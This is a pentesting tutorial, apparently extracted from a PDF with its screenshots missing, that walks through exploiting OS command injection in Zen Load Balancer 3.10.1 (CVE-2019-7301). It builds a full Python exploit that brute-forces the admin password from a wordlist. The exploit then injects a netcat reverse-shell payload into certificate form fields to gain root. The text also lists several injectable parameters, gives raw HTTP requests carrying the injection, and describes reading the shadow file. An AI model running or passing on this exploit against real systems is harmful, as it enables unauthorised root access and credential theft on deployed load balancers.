Pentesting Zen Load Balancer

QUICK TUTORIAL

By Cody Sixteen
CODE610.BLOGSPOT.COM | PATREON.COM/CODYSIXTEEN
Contents
Intro ......................................................................................................................................................... 2
Environment ............................................................................................................................................ 3
Initial ........................................................................................................................................................ 4
Similarities ............................................................................................................................................... 9
Example 01 - Manage Cerfiticates ....................................................................................................... 9
Example 02 – Monitoring Logs .......................................................................................................... 12
Initial „proof-of-concept” ...................................................................................................................... 14
Weaponizing .......................................................................................................................................... 17
Summary ............................................................................................................................................... 20
References ............................................................................................................................................. 21
Intro
In this document I’ll try to investigate the bug I found few weeks ago - RCE in Zen Load
Balancer(3.10.1)[1] also known as CVE-2019-7301[2]. Reader – with the basic knowledge of python
language and OWASP TOP 10 - will be able to continue and should be able to understand the whole
idea of creating „quick poc” described below. In the final stage we will end up with the fully working
postauth RCE exploit.

Enjoy and have fun! ;)

Cody
Environment
This time we’ll use the same environment I used during the original research. As it was described in
the post[1] to proceed we’ll use 2 VMs:

 Kali Linux – with all my scripts and tools (we will also use it as a jumphost)
 Zen Load Balancer ISO (3.10.1) – downloaded from SourceForge[3].

Both machine should see each other (which means that both of them should be connected to the
one network – most of time I’m using bridge network settings when I’m doing some research on
VirtualBox, so it should work for you as well).

Next...
Initial foothold
We already know[2] that to exploit this bug we need to be logged-in as an admin user. That’s nice
but it could be a problem during our pentests. For most cases the password on target box will
probably be more difficult than simple „P@ssw0rd” or „admin1”. ;)

To solve that we’ll try to prepare a small script. Let’s start in Kali console:

Good. So far we have all needed imports. We can proceed with some ‘basic settings’. Our first goal is
to check if the target host is alive. Next case will be to try to login in. Let’s do it:

Let’s verify our simple code:

Looks good so far. (I know I’m not the best programmer in the world and „you can probably do it
better” ;) but for the concept of ‘the basics’ – I think: if it works – it’s good enough ;)).

The whole script so far:

#!/usr/bin/env python
# zenload3r.py - zen load balancer pwn3r
# 28.03.2020 @ 22:41
#
# by cody sixteen
#

import sys, re
import requests
import ssl
from functools import partial
ssl.wrap_socket = partial(ssl.wrap_socket, ssl_version=ssl.PROTOCOL_TLSv1)
# disable ssl warnings:
import urllib3
urllib3.disable_warnings()

#
target = sys.argv[1]
username = 'admin'
password = ''

def main():
print 'zenload3r.py - zen load balancer pwn3r'
print ' zenload3r.py - vs - %s' % ( target )
print ''

print '[+] checking if host is alive...'

sess = requests.session()
global baseUrl
baseUrl = target + ':444/index.cgi'
checkBaseUrl = sess.get(baseUrl, verify=False)
checkBaseResp = checkBaseUrl.status_code

#print checkBaseResp
if checkBaseResp == 401:
print '[i] ...it is. we need to log in to proceed'
logmein(baseUrl)

def logmein(target):
print '[+] trying %s and default password "%s" vs %s' % (username, password, baseUrl)

# login with defaults

# if no luck -> bf(baseurl, admin, pass)
# if passed -> goto:revshell

# run me:
if __name__ == '__main__':
main()

Good. Now it’s time to login in. ;] We will start here:

Ok, it should be good as a skeleton. To make it better – remember that we installed Zen Load
Balancer on our VirtualBox? Let’s login in to the main page:

There is no need to use the whole print logmeresp. As you can see when admin user is logged-in
there will be a „Hello admin” message in the front page. We will use that to fix our super code:

We will use this string (using python’s re module) with our (logme)response, like this:
Now our script should work like this:

So far, so good. ;] Our current code is presented on the table below:

#!/usr/bin/env python
# zenload3r.py - zen load balancer pwn3r
# 28.03.2020 @ 22:41
#
# by cody sixteen
#

import sys, re
import requests
import ssl
from functools import partial
ssl.wrap_socket = partial(ssl.wrap_socket, ssl_version=ssl.PROTOCOL_TLSv1)
# disable ssl warnings:
import urllib3
urllib3.disable_warnings()
from requests.auth import HTTPBasicAuth

#
target = sys.argv[1]
username = 'admin'
password = 'P@ssw0rd'

def main():
print 'zenload3r.py - zen load balancer pwn3r'
print ' zenload3r.py - vs - %s' % ( target )
print ''

print '[+] checking if host is alive...'

 global sess
sess = requests.session()
global baseUrl
baseUrl = target + ':444/index.cgi'
checkBaseUrl = sess.get(baseUrl, verify=False)
checkBaseResp = checkBaseUrl.status_code

#print checkBaseResp
if checkBaseResp == 401:
print '[i] ...it is. we need to log in to proceed'
logmein(baseUrl)

def logmein(target):
print '[+] trying %s and default password "%s" vs %s' % (username, password, baseUrl)

#pwd_file = '/usr/share/wordlists/dirb/common.txt'
pwd_file = 'passwd.lst'

try:
read_pwds = open(pwd_file, 'r')
pwds = read_pwds.readlines()

for pwd in pwds:

pwd = pwd.rstrip()
logme = sess.post(baseUrl, auth=HTTPBasicAuth(username,pwd))
logmeresp = logme.text

#print logmeresp
if '<p>Hello <strong>admin</strong>' in logmeresp:
print '[+] admin user logged-in! :D'
print '[+] working password: %s' % ( pwd )

except requests.exceptions.ConnectionError:
print '[-] Can not connect to remote host :C\n'

# run me:
if __name__ == '__main__':
main()

As we are already admin we can proceed to the next step. Let’s go...
Similarities
In last section we created an initial working poc to guess the password for our Zen Load Balancer.
With the valid password we can start from the post with already described bug[1] or we can try to
find something similar – goal stays the same: we are still looking for RCE.

As the details about the previous bug are already publicly disclosed[1] I decided it will be better to
find few more similar bugs:

We will start in the same place...

Example 01 - Manage Cerfiticates

We will start here:

As you can see cert_issuer parameter is vulnerable to OS command injection. Looks like another RCE
;) Can we find something similar?
Sure! Can we use it (just like before[1]) to get reverse shell?

Of course! ;]

So... you want more RCE 0days? Let’s try the rest of the parameters in this request – below
cert_organization:

Next – cert_locality:
More? ;]

To save you some time: buggy parameters in this one request:

 cert_issuer
 cert_division
 cert_organization
 cert_locality
 cert_state
 cert_country
 cert_email

All can lead to OS command injection. Pretty good for one request.

Original request with the payload is presented on the table below:

POST /index.cgi HTTP/1.1
Host: 192.168.1.10:444
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
 Accept-Encoding: gzip, deflate
Referer: https://192.168.1.10:444/index.cgi?id=1-3&action=Show_Form
Content-Type: application/x-www-form-urlencoded
Content-Length: 247
Origin: https://192.168.1.10:444
Authorization: Basic YWRtaW46UEBzc3cwcmQ=
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

cert_name=asd&cert_issuer=Sofintel&cert_fqdn=asd&cert_division=aas";id>/tmp/idnow;#asdd&cert_organization=asd
&cert_locality=asd&cert_state=asd&cert_country=as&cert_mail=asd%40asd.com&cert_key=2048&id=1-
3&actionpost=Generate+CSR&button=Generate+CSR

Example 02 – Monitoring Logs

This is always nice when we can see some logs presented in the webapp we are pentesting. Pretty
often it is possible to find somekind of a bug in the log parser/viewer (you name it). I was sure I’ll find
something like XSS or CSRF but there was a little surprise. Check it out:

I think you already know where this is going ;) I used Burp Suite to intercept this request to modify
the filelog parameter:

Response looks like this:

Good. As you probably remember from the Case 01, according to the results (of /usr/bin/id) – we are
root user. So it should be possible to read shadow file as well, right?

Sure. ;] Our hero here is the filelog parameter:

Let’s move to the next example...

Initial „proof-of-concept”
I think we have all the details to start creating our initial proof-of-concept.

As we are already authenticated user we can continue from that step:

Checking:

Looks good. We can continue our modifications. Original request (from example 01) is presented on
the table below:
POST /index.cgi HTTP/1.1
Host: 192.168.1.10:444
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://192.168.1.10:444/index.cgi?id=1-3&action=Show_Form
Content-Type: application/x-www-form-urlencoded
Content-Length: 247
Origin: https://192.168.1.10:444
Authorization: Basic YWRtaW46UEBzc3cwcmQ=
Connection: close
Upgrade-Insecure-Requests: 1
 Cache-Control: max-age=0

cert_name=asd&cert_issuer=Sofintel&cert_fqdn=asd&cert_division=aas";id>/tmp/idnow;#asdd&cert_organization=asd
&cert_locality=asd&cert_state=asd&cert_country=as&cert_mail=asd%40asd.com&cert_key=2048&id=1-
3&actionpost=Generate+CSR&button=Generate+CSR

We can continue with our initial poc. Current goal is:

 check is target is alive

 guess password
 login in
 inject our command

After small modifications we should be somewhere here:

All should be set properly now. Unfortunately after a while I still wasn’t able to redirect (‘logged-in’)
session to the ‘next stage’ -> request with our additional command(s).

This was the moment when I was looking for some help online. I wasn’t sure which headers I’m
missing and/or which should be fixed or excluded...

And that’s how I found an excellent hint from _mzer0[4]:

- „why not to use ‘copy as python request’ from Burp Suite?”

And it was priceless idea (thanks)! ;)

Example code generated by Burp is presented on the screen below:

Now the case is to implement it in our previous skeleton-poc. After a while we should be somewhere
here:

Let’s see if this time we will see (the last) request in the logs:

Looks good. We are ready to move forward... ;)

Weaponizing
Weaponizing this kind of ‘exploits’ is the easiest part. We simply need to prepare a listening netcat in
one (Kali) console windows and run our poc in other one. Payload we’ll use this time looks like this:

Create file on remote host s";id>/tmp/idnow;#asd

Create reverse shell a";nc 192.168.1.170 4444 -e /bin/sh;#

Let’s add the 2nd one to our poc:

Listening netcat is waiting on Kali VM on port 4444/tcp so we are ready to go:

Whoweare? ;]

Looks like it’s done. Full poc code is presented in the table below:

#!/usr/bin/env python
# zenload3r.py - zen load balancer pwn3r
# 28.03.2020 @ 22:41
#
# by cody sixteen
#

import base64
import sys, re
import requests
import ssl
from functools import partial
ssl.wrap_socket = partial(ssl.wrap_socket, ssl_version=ssl.PROTOCOL_TLSv1)
# disable ssl warnings:
import urllib3
urllib3.disable_warnings()
from requests.auth import HTTPBasicAuth

#
target = sys.argv[1]
username = 'admin'
password = 'P@ssw0rd'

def main():
print 'zenload3r.py - zen load balancer pwn3r'
print ' zenload3r.py - vs - %s' % ( target )
print ''

print '[+] checking if host is alive...'

global sess
sess = requests.session()
global baseUrl
baseUrl = target + ':444/index.cgi'
checkBaseUrl = sess.get(baseUrl, verify=False)
checkBaseResp = checkBaseUrl.status_code

#print checkBaseResp
if checkBaseResp == 401:
print '[i] ...it is. we need to log in to proceed'
logmein(baseUrl)

def logmein(target):
print '[+] trying %s and default password "%s" vs %s' % (username, password, baseUrl
)

#pwd_file = '/usr/share/wordlists/dirb/common.txt'
pwd_file = 'passwd.lst'

try:
read_pwds = open(pwd_file, 'r')
pwds = read_pwds.readlines()

for pwd in pwds:

pwd = pwd.rstrip()
logme = sess.post(baseUrl, auth=HTTPBasicAuth(username,pwd), allow_redirects=Tru
e)
logmeresp = logme.text

#print logmeresp
if '<p>Hello <strong>admin</strong>' in logmeresp:
print '[+] admin user logged-in! :D'
print '[+] working password: %s' % ( pwd )
 load3r(baseUrl, pwd)

except requests.exceptions.ConnectionError:
print '[-] Can not connect to remote host :C\n'

def load3r(baseUrl, pwd):

print '[+] time to get reverse shell, preparing...'

creds = base64.b64encode("{}:{}".format(username,pwd))
creds2 = creds.rstrip()
print 'creds: ', creds2

baseUrl = "https://192.168.1.200:444/index.cgi"
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/2
0100101 Firefox/73.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=
0.8",
"Accept-Language": "pl,en-US;q=0.7,en;q=0.3", "Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded", "Origin": "https://192.168.1.
200:444",
"Authorization": "Basic {}".format(creds2), "Connection": "close",
"Referer": "https://192.168.1.200:444/index.cgi?id=1-3&action=Show_Form", "Upgrade
-Insecure-Requests": "1"
}
sh = "a\";nc 192.168.1.170 4444 -e /bin/sh;#"
reqdata = {"cert_name": "qweqweqwe", "cert_issuer": "Sofintel",
"cert_fqdn": "qweqweqwe", "cert_division": "qweqweqwe",
"cert_organization": sh,
"cert_locality": "qweqweqwe", "cert_state": "qweqweqwe",
"cert_country": "qw", "cert_mail": "[email protected]",
"cert_key": "2048", "id": "1-3", "actionpost": "Generate CSR", "button": "Generate
CSR"}

requests.post(baseUrl, headers=headers, data=reqdata,verify=False)

print '[*] got r00t? ;>\n'

# run me:
if __name__ == '__main__':
main()
Summary
Idea of this paper was to investigate the bug I found few weeks ago - RCE in Zen Load
Balancer(3.10.1)[1] also known as CVE-2019-7301[2]. Reader – with the basic knowledge of python
language and OWASP TOP 10 – should now be able understand the whole idea of creating „quick
poc” described in this document and (re)create his/her own exploits (using other RCE bugs described
in this file). In the final stage we have a fully working ‘preauth’ root exploit.
References
Below you will find resources used/found when I was creating this document:

[1] – Original bug described on the blog

[2] – CVE-2019-7301

[3] – Zen Load Balancer ISO

[4] - Kudos for _mzer0

[5] – For Patrons only ;)